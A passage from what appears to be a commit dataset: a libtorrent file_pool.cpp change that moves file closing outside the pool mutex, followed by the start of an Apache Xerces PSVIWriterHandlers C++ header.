it\n\t\t\tremove_oldest(l);\n\t\t}\n\t\treturn file_ptr;\n\t}\n\n\tvoid file_pool::get_status(std::vector<pool_file_status>* files, void* st) const\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tfile_set::const_iterator start = m_files.lower_bound(std::make_pair(st, 0));\n\t\tfile_set::const_iterator end = m_files.upper_bound(std::make_pair(st, INT_MAX));\n\t\n\t\tfor (file_set::const_iterator i = start; i != end; ++i)\n\t\t{\n\t\t\tpool_file_status s;\n\t\t\ts.file_index = i->first.second;\n\t\t\ts.open_mode = i->second.mode;\n\t\t\ts.last_use = i->second.last_use;\n\t\t\tfiles->push_back(s);\n\t\t}\n\t}\n\n\tvoid file_pool::remove_oldest(mutex::scoped_lock& l)\n\t{\n\t\tfile_set::iterator i = std::min_element(m_files.begin(), m_files.end()\n\t\t\t, boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _1))\n\t\t\t\t< boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _2)));\n\t\tif (i == m_files.end()) return;\n\n\t\tfile_handle file_ptr = i->second.file_ptr;\n\t\tm_files.erase(i);\n\n\t\t\/\/ closing a file may be long running operation (mac os x)\n\t\tl.unlock();\n\t\tfile_ptr.reset();\n\t\tl.lock();\n\t}\n\n\tvoid file_pool::release(void* st, int file_index)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i == m_files.end()) return;\n\t\t\n\t\tfile_handle file_ptr = i->second.file_ptr;\n\t\tm_files.erase(i);\n\n\t\t\/\/ closing a file may be long running operation (mac os x)\n\t\tl.unlock();\n\t\tfile_ptr.reset();\n\t}\n\n\t\/\/ closes files belonging to the specified\n\t\/\/ storage. If 0 is passed, all files are closed\n\tvoid file_pool::release(void* st)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tif (st == 0)\n\t\t{\n\t\t\tfile_set tmp;\n\t\t\ttmp.swap(m_files);\n\t\t\tl.unlock();\n\t\t\treturn;\n\t\t}\n\n\t\tstd::vector<file_handle> to_close;\n\t\tfor (file_set::iterator i = m_files.begin();\n\t\t\ti != m_files.end();)\n\t\t{\n\t\t\tif (i->second.key == st)\n\t\t\t{\n\t\t\t\tto_close.push_back(i->second.file_ptr);\n\t\t\t\tm_files.erase(i++);\n\t\t\t}\n\t\t\telse\n\t\t\t\t++i;\n\t\t}\n\t\tl.unlock();\n\t\t\/\/ the files are closed here\n\t}\n\n#if TORRENT_USE_ASSERTS\n\tvoid file_pool::mark_deleted(file_storage const& fs)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tm_deleted_storages.push_back(std::make_pair(fs.name(), (void const*)&fs));\n\t\tif(m_deleted_storages.size() > 100)\n\t\t\tm_deleted_storages.erase(m_deleted_storages.begin());\n\t}\n\n\tbool file_pool::assert_idle_files(void* st) const\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tfor (file_set::const_iterator i = m_files.begin();\n\t\t\ti != m_files.end(); ++i)\n\t\t{\n\t\t\tif (i->second.key == st && !i->second.file_ptr.unique())\n\t\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n#endif\n\n\tvoid file_pool::resize(int size)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tTORRENT_ASSERT(size > 0);\n\n\t\tif (size == m_size) return;\n\t\tm_size = size;\n\t\tif (int(m_files.size()) <= m_size) return;\n\n\t\t\/\/ close the least recently used files\n\t\twhile (int(m_files.size()) > m_size)\n\t\t\tremove_oldest(l);\n\t}\n\n}\n\n<commit_msg>move closing of files outside of file pool mutex<commit_after>\/*\n\nCopyright (c) 2006-2014, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <boost\/version.hpp>\n#include <boost\/bind.hpp>\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/file_pool.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/file_storage.hpp\" \/\/ for file_entry\n\nnamespace libtorrent\n{\n\tfile_pool::file_pool(int size)\n\t\t: m_size(size)\n\t\t, m_low_prio_io(true)\n\t{\n\t}\n\n\tfile_pool::~file_pool()\n\t{\n\t}\n\n#ifdef TORRENT_WINDOWS\n\tvoid set_low_priority(file_handle const& f)\n\t{\n\t\t\/\/ file prio is only supported on vista and up\n\t\t\/\/ so load the functions dynamically\n\t\ttypedef enum _FILE_INFO_BY_HANDLE_CLASS {\n\t\t\tFileBasicInfo,\n\t\t\tFileStandardInfo,\n\t\t\tFileNameInfo,\n\t\t\tFileRenameInfo,\n\t\t\tFileDispositionInfo,\n\t\t\tFileAllocationInfo,\n\t\t\tFileEndOfFileInfo,\n\t\t\tFileStreamInfo,\n\t\t\tFileCompressionInfo,\n\t\t\tFileAttributeTagInfo,\n\t\t\tFileIdBothDirectoryInfo,\n\t\t\tFileIdBothDirectoryRestartInfo,\n\t\t\tFileIoPriorityHintInfo,\n\t\t\tFileRemoteProtocolInfo, \n\t\t\tMaximumFileInfoByHandleClass\n\t\t} FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS;\n\n\t\ttypedef enum _PRIORITY_HINT {\n\t\t\tIoPriorityHintVeryLow = 0,\n\t\t\tIoPriorityHintLow,\n\t\t\tIoPriorityHintNormal,\n\t\t\tMaximumIoPriorityHintType\n\t\t} PRIORITY_HINT;\n\n\t\ttypedef struct _FILE_IO_PRIORITY_HINT_INFO {\n\t\t\tPRIORITY_HINT PriorityHint;\n\t\t} FILE_IO_PRIORITY_HINT_INFO, *PFILE_IO_PRIORITY_HINT_INFO;\n\n\t\ttypedef BOOL (WINAPI *SetFileInformationByHandle_t)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize);\n\t\tstatic SetFileInformationByHandle_t SetFileInformationByHandle = NULL;\n\n\t\tstatic bool failed_kernel_load = false;\n\n\t\tif (failed_kernel_load) return;\n\n\t\tif (SetFileInformationByHandle == NULL)\n\t\t{\n\t\t\tHMODULE kernel32 = LoadLibraryA(\"kernel32.dll\");\n\t\t\tif (kernel32 == NULL)\n\t\t\t{\n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tSetFileInformationByHandle = (SetFileInformationByHandle_t)GetProcAddress(kernel32, \"SetFileInformationByHandle\");\n\t\t\tif (SetFileInformationByHandle == NULL)\n\t\t\t{ \n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tTORRENT_ASSERT(SetFileInformationByHandle);\n\n\t\tFILE_IO_PRIORITY_HINT_INFO io_hint;\n\t\tio_hint.PriorityHint = IoPriorityHintLow;\n\t\tSetFileInformationByHandle(f->native_handle(),\n\t\t\tFileIoPriorityHintInfo, &io_hint, sizeof(io_hint));\n\t}\n#endif \/\/ TORRENT_WINDOWS\n\n\tfile_handle file_pool::open_file(void* st, std::string const& p\n\t\t, int file_index, file_storage const& fs, int m, error_code& ec)\n\t{\n\t\t\/\/ potentially used to hold a reference to a file object that's\n\t\t\/\/ about to be destructed. If we have such object we assign it to\n\t\t\/\/ this member to be destructed after we release the mutex. On some\n\t\t\/\/ operating systems (such as OSX) closing a file may take a long\n\t\t\/\/ time. We don't want to hold the mutex for that.\n\t\tfile_handle defer_destruction;\n\n\t\tmutex::scoped_lock l(m_mutex);\n\n#if TORRENT_USE_ASSERTS\n\t\t\/\/ we're not allowed to open a file\n\t\t\/\/ from a deleted storage!\n\t\tTORRENT_ASSERT(std::find(m_deleted_storages.begin(), m_deleted_storages.end(), std::make_pair(fs.name(), (void const*)&fs))\n\t\t\t== m_deleted_storages.end());\n#endif\n\n\t\tTORRENT_ASSERT(st != 0);\n\t\tTORRENT_ASSERT(is_complete(p));\n\t\tTORRENT_ASSERT((m & file::rw_mask) == file::read_only\n\t\t\t|| (m & file::rw_mask) == file::read_write);\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i != m_files.end())\n\t\t{\n\t\t\tlru_file_entry& e = i->second;\n\t\t\te.last_use = time_now();\n\n\t\t\tif (e.key != st && ((e.mode & file::rw_mask) != file::read_only\n\t\t\t\t|| (m & file::rw_mask) != file::read_only))\n\t\t\t{\n\t\t\t\t\/\/ this means that another instance of the storage\n\t\t\t\t\/\/ is using the exact same file.\n#if BOOST_VERSION >= 103500\n\t\t\t\tec = errors::file_collision;\n#endif\n\t\t\t\treturn file_handle();\n\t\t\t}\n\n\t\t\te.key = st;\n\t\t\t\/\/ if we asked for a file in write mode,\n\t\t\t\/\/ and the cached file is is not opened in\n\t\t\t\/\/ write mode, re-open it\n\t\t\tif ((((e.mode & file::rw_mask) != file::read_write)\n\t\t\t\t&& ((m & file::rw_mask) == file::read_write))\n\t\t\t\t|| (e.mode & file::random_access) != (m & file::random_access))\n\t\t\t{\n\t\t\t\t\/\/ close the file before we open it with\n\t\t\t\t\/\/ the new read\/write privilages, since windows may\n\t\t\t\t\/\/ file opening a file twice. However, since there may\n\t\t\t\t\/\/ be outstanding operations on it, we can't close the\n\t\t\t\t\/\/ file, we can only delete our reference to it.\n\t\t\t\t\/\/ if this is the only reference to the file, it will be closed\n\t\t\t\tdefer_destruction = e.file_ptr;\n\t\t\t\te.file_ptr = boost::make_shared<file>();\n\n\t\t\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\t\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\t\t{\n\t\t\t\t\tm_files.erase(i);\n\t\t\t\t\treturn file_handle();\n\t\t\t\t}\n#ifdef TORRENT_WINDOWS\n\t\t\t\tif (m_low_prio_io)\n\t\t\t\t\tset_low_priority(e.file_ptr);\n#endif\n\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\t\t\te.mode = m;\n\t\t\t}\n\t\t\treturn e.file_ptr;\n\t\t}\n\n\t\tlru_file_entry e;\n\t\te.file_ptr = boost::make_shared<file>();\n\t\tif (!e.file_ptr)\n\t\t{\n\t\t\tec = error_code(ENOMEM, get_posix_category());\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\treturn file_handle();\n#ifdef TORRENT_WINDOWS\n\t\tif (m_low_prio_io)\n\t\t\tset_low_priority(e.file_ptr);\n#endif\n\t\te.mode = m;\n\t\te.key = st;\n\t\tm_files.insert(std::make_pair(std::make_pair(st, file_index), e));\n\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\n\t\tfile_handle file_ptr = e.file_ptr;\n\n\t\t\/\/ the file is not in our cache\n\t\tif ((int)m_files.size() >= m_size)\n\t\t{\n\t\t\t\/\/ the file cache is at its maximum size, close\n\t\t\t\/\/ the least recently used (lru) file from it\n\t\t\tremove_oldest(l);\n\t\t}\n\t\treturn file_ptr;\n\t}\n\n\tvoid file_pool::get_status(std::vector<pool_file_status>* files, void* st) const\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tfile_set::const_iterator start = m_files.lower_bound(std::make_pair(st, 0));\n\t\tfile_set::const_iterator end = m_files.upper_bound(std::make_pair(st, INT_MAX));\n\t\n\t\tfor (file_set::const_iterator i = start; i != end; ++i)\n\t\t{\n\t\t\tpool_file_status s;\n\t\t\ts.file_index = i->first.second;\n\t\t\ts.open_mode = i->second.mode;\n\t\t\ts.last_use = i->second.last_use;\n\t\t\tfiles->push_back(s);\n\t\t}\n\t}\n\n\tvoid file_pool::remove_oldest(mutex::scoped_lock& l)\n\t{\n\t\tfile_set::iterator i = std::min_element(m_files.begin(), m_files.end()\n\t\t\t, boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _1))\n\t\t\t\t< boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _2)));\n\t\tif (i == m_files.end()) return;\n\n\t\tfile_handle file_ptr = i->second.file_ptr;\n\t\tm_files.erase(i);\n\n\t\t\/\/ closing a file may be long running operation (mac os x)\n\t\tl.unlock();\n\t\tfile_ptr.reset();\n\t\tl.lock();\n\t}\n\n\tvoid file_pool::release(void* st, int file_index)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i == m_files.end()) return;\n\t\t\n\t\tfile_handle file_ptr = i->second.file_ptr;\n\t\tm_files.erase(i);\n\n\t\t\/\/ closing a file may be long running operation (mac os x)\n\t\tl.unlock();\n\t\tfile_ptr.reset();\n\t}\n\n\t\/\/ closes files belonging to the specified\n\t\/\/ storage. If 0 is passed, all files are closed\n\tvoid file_pool::release(void* st)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tif (st == 0)\n\t\t{\n\t\t\tfile_set tmp;\n\t\t\ttmp.swap(m_files);\n\t\t\tl.unlock();\n\t\t\treturn;\n\t\t}\n\n\t\tstd::vector<file_handle> to_close;\n\t\tfor (file_set::iterator i = m_files.begin();\n\t\t\ti != m_files.end();)\n\t\t{\n\t\t\tif (i->second.key == st)\n\t\t\t{\n\t\t\t\tto_close.push_back(i->second.file_ptr);\n\t\t\t\tm_files.erase(i++);\n\t\t\t}\n\t\t\telse\n\t\t\t\t++i;\n\t\t}\n\t\tl.unlock();\n\t\t\/\/ the files are closed here\n\t}\n\n#if TORRENT_USE_ASSERTS\n\tvoid file_pool::mark_deleted(file_storage const& fs)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tm_deleted_storages.push_back(std::make_pair(fs.name(), (void const*)&fs));\n\t\tif(m_deleted_storages.size() > 100)\n\t\t\tm_deleted_storages.erase(m_deleted_storages.begin());\n\t}\n\n\tbool file_pool::assert_idle_files(void* st) const\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tfor (file_set::const_iterator i = m_files.begin();\n\t\t\ti != m_files.end(); ++i)\n\t\t{\n\t\t\tif (i->second.key == st && !i->second.file_ptr.unique())\n\t\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n#endif\n\n\tvoid file_pool::resize(int size)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\n\t\tTORRENT_ASSERT(size > 0);\n\n\t\tif (size == m_size) return;\n\t\tm_size = size;\n\t\tif (int(m_files.size()) <= m_size) return;\n\n\t\t\/\/ close the least recently used files\n\t\twhile (int(m_files.size()) > m_size)\n\t\t\tremove_oldest(l);\n\t}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2003,2004 The Apache Software Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef PSVIWRITERHANDLER_HPP\n#define PSVIWRITERHANDLER_HPP\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/sax2\/Attributes.hpp>\n#include <xercesc\/sax2\/DefaultHandler.hpp>\n#include <xercesc\/framework\/psvi\/XSConstants.hpp>\n#include <xercesc\/framework\/psvi\/PSVIHandler.hpp>\n#include <xercesc\/framework\/psvi\/PSVIAttribute.hpp>\n#include <xercesc\/framework\/psvi\/PSVIAttributeList.hpp>\n#include <xercesc\/framework\/psvi\/PSVIElement.hpp>\n#include <xercesc\/framework\/psvi\/PSVIItem.hpp>\n#include <xercesc\/framework\/psvi\/XSAnnotation.hpp>\n#include <xercesc\/framework\/psvi\/XSAttributeDeclaration.hpp>\n#include <xercesc\/framework\/psvi\/XSAttributeGroupDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSAttributeUse.hpp>\n#include <xercesc\/framework\/psvi\/XSComplexTypeDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSElementDeclaration.hpp>\n#include <xercesc\/framework\/psvi\/XSFacet.hpp>\n#include <xercesc\/framework\/psvi\/XSIDCDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSModel.hpp>\n#include <xercesc\/framework\/psvi\/XSModelGroup.hpp>\n#include <xercesc\/framework\/psvi\/XSModelGroupDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSMultiValueFacet.hpp>\n#include <xercesc\/framework\/psvi\/XSNamedMap.hpp>\n#include <xercesc\/framework\/psvi\/XSNamespaceItem.hpp>\n#include <xercesc\/framework\/psvi\/XSNotationDeclaration.hpp>\n#include <xercesc\/framework\/psvi\/XSParticle.hpp>\n#include <xercesc\/framework\/psvi\/XSSimpleTypeDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSTypeDefinition.hpp>\n#include <xercesc\/framework\/psvi\/XSWildcard.hpp>\n#include <xercesc\/framework\/XMLFormatter.hpp>\n#include <xercesc\/dom\/DOMElement.hpp>\n#include <xercesc\/dom\/DOMNamedNodeMap.hpp>\n#include <xercesc\/util\/ValueStackOf.hpp>\n#include <xercesc\/util\/ValueVectorOf.hpp>\n#include <xercesc\/util\/XMLEntityResolver.hpp>\n#include <xercesc\/util\/XMLResourceIdentifier.hpp>\n#include <stdlib.h>\n#include <string.h>\n\nXERCES_CPP_NAMESPACE_USE\n\n\nclass AttrInfo {\npublic:\n\tAttrInfo(const XMLCh* pUri, const XMLCh* pName, const XMLCh* pType, const XMLCh* pValue) {\n\t\turi = XMLString::replicate(pUri);\n\t\tname = XMLString::replicate(pName);\n\t\ttype = XMLString::replicate(pType);\n\t\tvalue = XMLString::replicate(pValue);\n\t}\n\t\n\t~AttrInfo() {\n\t\tXMLString::release((XMLCh**)&uri);\n\t\tXMLString::release((XMLCh**)&name);\n\t\tXMLString::release((XMLCh**)&type);\n\t\tXMLString::release((XMLCh**)&value);\n\t}\n\t\n\tconst XMLCh* getUri() const {\n\t\treturn uri;\t\n\t}\n\t\n\tconst XMLCh* getLocalName() const {\n\t\treturn name;\n\t}\n\t\n\tconst XMLCh* getType() const {\n\t\treturn type;\n\t}\n\t\t\n\tconst XMLCh* getValue() const {\n\t\treturn value;\n\t}\n\nprivate:\n\tconst XMLCh* uri;\n\tconst XMLCh* name;\n\tconst XMLCh* type;\n\tconst XMLCh* value;\n};\n\nclass PSVIWriterHandlers : public PSVIHandler, public DefaultHandler, public XMLEntityResolver {\npublic:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Constructors and Destructor\n    \/\/ -----------------------------------------------------------------------\n    PSVIWriterHandlers(XMLFormatter* outputFormatter, XMLFormatter* errorFormatter = NULL);\n    ~PSVIWriterHandlers();\n    \n    \/\/ -----------------------------------------------------------------------\n    \/\/  Convenience Utility\n    \/\/ -----------------------------------------------------------------------\n\tvoid resetPSVIFormatter(XMLFormatter* outputFormatter);\n    void resetDocument();\n\t\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Handlers for the SAX ContentHandler interface\n    \/\/ -----------------------------------------------------------------------\n    void startElement(const XMLCh* const uri, const XMLCh* const localname, const XMLCh* const qname, const Attributes& attrs);\n    void endElement(const XMLCh* const uri, const XMLCh* const localname, const XMLCh* const qname);\n    void startDocument();\n    void endDocument();\n    void characters(const XMLCh* const chars, const unsigned int length);\n    void ignorableWhitespace(const XMLCh* const chars, const unsigned int length);\n    void comment(const XMLCh* const chars, const unsigned int length);\n    void processingInstruction(const XMLCh* const target, const XMLCh* const data);\n    void startPrefixMapping(const XMLCh* const prefix, const XMLCh* const uri);\n    void endPrefixMapping(const XMLCh* const prefix);\n    InputSource* resolveEntity(XMLResourceIdentifier* resourceIdentifier);\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Handlers for the SAX ErrorHandler interface\n    \/\/ -----------------------------------------------------------------------\n\tvoid warning(const SAXParseException& exception);\n    void error(const SAXParseException& exception);\n    void fatalError(const SAXParseException& exception);\n    void resetErrors();\n    \n    \/\/ -----------------------------------------------------------------------\n    \/\/  Handlers for the PSVIHandler interface\n    \/\/ -----------------------------------------------------------------------\n\t\n\tvoid handleAttributesPSVI( const XMLCh* const localName, \n\t\t\t\t\t\t\t\tconst XMLCh* const uri, \n\t\t\t\t\t\t\t\tPSVIAttributeList* psviAttributes );\n\tvoid handleElementPSVI(\tconst XMLCh* const localName, \n\t\t\t\t\t\t\t\tconst XMLCh* const uri,\n\t\t\t\t\t\t\t\tPSVIElement* elementInfo );\n\nprivate:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private methods\n    \/\/ -----------------------------------------------------------------------\n\n    void processAttributes(PSVIAttributeList* psviAttributes, const RefVectorOf<AttrInfo>* attributesInfo);\n    void processNamespaceAttributes(PSVIAttributeList* psviAttributes, const RefVectorOf<AttrInfo>* attributes);\n    void processAttributePSVI(PSVIAttribute* attribute);\n    void processInScopeNamespaces();\n    void processActualValue(PSVIItem*);\n    void formDateTime(XSValue*);\n\n    void processSchemaInformation(XSModel* model);\n    void processNamespaceItem(XSNamespaceItem* namespaceItem);\n    void processSchemaComponents(XSNamespaceItem* namespaceItem);\n    void processSchemaDocuments(XSNamespaceItem* namespaceItem);\n    void processSchemaAnnotations(XSAnnotationList* annotations);\n    void processSchemaErrorCode(StringList* errors);\n    \n    void processTypeDefinition(XSTypeDefinition* type);\n    void processComplexTypeDefinition(XSComplexTypeDefinition* complexType);\n    void processSimpleTypeDefinition(XSSimpleTypeDefinition* simpleType);\n    void processModelGroupDefinition(XSModelGroupDefinition* modelGroup);\n    void processAttributeGroupDefinition(XSAttributeGroupDefinition* attributeGroup);\n    \n    void processElementDeclaration(XSElementDeclaration* element);\n    void processAttributeDeclaration(XSAttributeDeclaration* attribute);\n    void processNotationDeclaration(XSNotationDeclaration* notation);\n    \n    void processAnnotations(XSAnnotationList* annotations);\n    void processAttributeUses(XSAttributeUseList* attributeUses);\n    void processFacets(XSFacetList* facets, XSMultiValueFacetList* multiFacets);\n    void processFundamentalFacets(XSSimpleTypeDefinition* facets);\n    void processMemberTypeDefinitions(XSSimpleTypeDefinitionList* memberTypes);\n    \n    void processAnnotation(XSAnnotation* annotation);\n    void processDOMElement(const XMLCh* const encloseName, DOMElement* rootElem, const XMLCh* const elementName);\n    void processDOMAttributes(DOMNamedNodeMap* attrs);\n    void processWildcard(XSWildcard* wildcard);\n    void processModelGroup(XSModelGroup* modelGroup);\n    void processParticle(XSParticle* particle);\n    \n    void processAttributeWildcard(XSWildcard* wildcard);\n    void processScope(XSComplexTypeDefinition* enclosingCTD, short scope);\n    void processValueConstraint(XSConstants::VALUE_CONSTRAINT ConstraintType, const XMLCh* constraintValue);\n    \n    void processIdentityConstraintDefinition(XSNamedMap<XSIDCDefinition>* identityConstraint);\n    void processFields(StringList* fields);\n    void processXPath(const XMLCh* xpath);\n    \n    void processChildren();\n    void processChildrenEnd();\n    \n    void processTypeDefinitionOrRef(const XMLCh* enclose, XSTypeDefinition* type);\n\tvoid processSimpleTypeDefinitionOrRef(XSSimpleTypeDefinition* type);\n    void processAttributeDeclarationOrRef(XSAttributeDeclaration* attrDecl);\n    void processElementDeclarationOrRef(XSElementDeclaration* elemDecl);\n\tvoid processTypeDefinitionRef(const XMLCh* enclose, XSTypeDefinition* type);\n    void processAttributeDeclarationRef(const XMLCh* enclose, XSAttributeDeclaration* attrDecl);\n    void processElementDeclarationRef(const XMLCh* enclose, XSElementDeclaration* elemDecl);\n    void sendReference(const XMLCh* elementName, XSObject* obj);\n    \n    void sendElementEmpty(const XMLCh* elementName);\n\tvoid sendElementValueInt(const XMLCh* elementName, const int value);\n    void sendElementValue(const XMLCh* elementName, const XMLCh* const value);\n    void sendElementValueList(const XMLCh* const elementName, const StringList* const values);\n\n\tvoid sendIndentedElement(const XMLCh* elementName);\n    void sendIndentedElementWithID(const XMLCh* elementName, XSObject* obj);\t\/\/adds the ID to the attribute list before sending\n    void sendUnindentedElement(const XMLCh* elementName);\n    \n    void writeOpen(const XMLCh* const elementName);\n\tvoid writeOpen(const XMLCh* const elementName, const StringList* const attrs);\n\tvoid writeClose(const XMLCh* const elementName);\n\tvoid writeValue(const XMLCh* const elementName, const XMLCh* const value);\n\tvoid writeValue(const XMLCh* const elementName, const StringList* const values);\n\tvoid writeEmpty(const XMLCh* const elementName, const StringList* const attrs);\n\tvoid writeEmpty(const XMLCh* const elementName);\n    void writeString(const XMLCh* const string);\n\n    const XMLCh* translateScope(XSConstants::SCOPE scope);\n    const XMLCh* translateValueConstraint(XSConstants::VALUE_CONSTRAINT constraintKind);\n    const XMLCh* translateBlockOrFinal(short val);\n    const XMLCh* translateDerivationMethod(XSConstants::DERIVATION_TYPE derivation);\n    const XMLCh* translateProcessContents(XSWildcard::PROCESS_CONTENTS processContents);\n    const XMLCh* translateCompositor(XSModelGroup::COMPOSITOR_TYPE compositor);\n    const XMLCh* translateValidity(PSVIItem::VALIDITY_STATE validity);\n    const XMLCh* translateValidationAttempted(PSVIItem::ASSESSMENT_TYPE validation);\n    const XMLCh* translateIdConstraintCategory(XSIDCDefinition::IC_CATEGORY category);\n    const XMLCh* translateComplexContentType(XSComplexTypeDefinition::CONTENT_TYPE contentType);\n    const XMLCh* translateSimpleTypeVariety(XSSimpleTypeDefinition::VARIETY variety);\n    const XMLCh* translateOrderedFacet(XSSimpleTypeDefinition::ORDERING ordered);\n    const XMLCh* translateFacet(XSSimpleTypeDefinition::FACET facetKind);\n    const XMLCh* translateComponentType(XSConstants::COMPONENT_TYPE type);\n    const XMLCh* translateBool(bool flag);\n    \n    XMLCh* createID(XSObject* obj);\n    const XMLCh* getIdName(XSObject* obj);\n    void incIndent();\n    void decIndent();\n    \nprotected:    \n\tXMLFormatter* fFormatter;\n\tXMLFormatter* fErrorFormatter;\n\t\n\tStringList* fAttrList;\n    XMLCh* fTempResult;\n    XMLCh* fIndentChars;\n    XMLCh* fBaseUri;\n    \n    unsigned int fIndent;\n    unsigned int fIndentCap;\n    unsigned int fAnonNum;\n    \n\tRefHashTableOf<XMLCh>* fIdMap;\n    RefVectorOf<XSObject>* fDefinedIds;\n    RefArrayVectorOf<XMLCh>* fIdNames;\n    RefArrayVectorOf<XMLCh>* fObjectLocations;\n    \n\tRefHashTableOf<XMLCh>* fPrefixMap;\n    RefArrayVectorOf<XMLCh>* fNamespaces;\n    \n\tValueVectorOf<unsigned int>* fNSAttributes;  \/\/REVISIT  dont need if NSAttrs in different object\n\tValueStackOf<bool>* fElementChildren;\n\t\t\n\tRefVectorOf<AttrInfo>* fAttributesInfo;\n};\n\n\n#endif\n\n<commit_msg>Handle partial PSVIElement<commit_after>\/*\n * Copyright 2003,2004 The Apache Software Foundation.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef PSVIWRITERHANDLER_HPP\n#define PSVIWRITERHANDLER_HPP\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/sax2\/Attributes.hpp>\n#include <xercesc\/sax2\/DefaultHandler.hpp>\n#include <xercesc\/framework\/psvi\/XSConstants.hpp>\n#include <xercesc\/framework\/psvi\/PSVIHandler.hpp>\n#include <xercesc\/framework\/psvi\/PSVIAttribute.hpp>\n#include <xercesc\/framework\/psvi\/PSVIAttributeList.hpp>\n#include <xercesc\/framework\/psvi\/PSVIElement.hpp>\n#include <xercesc\/framework\/psvi\/PSVIItem.hpp>\n#include <xercesc\/framework\/psvi\/XSAnnotation.hpp>\n#include <xercesc\/framework\/psvi\/XSAttributeDeclaration.hpp>\n#include <xercesc\/framework\/psvi\/XSAttributeGroupDefinition.hpp>\n#include 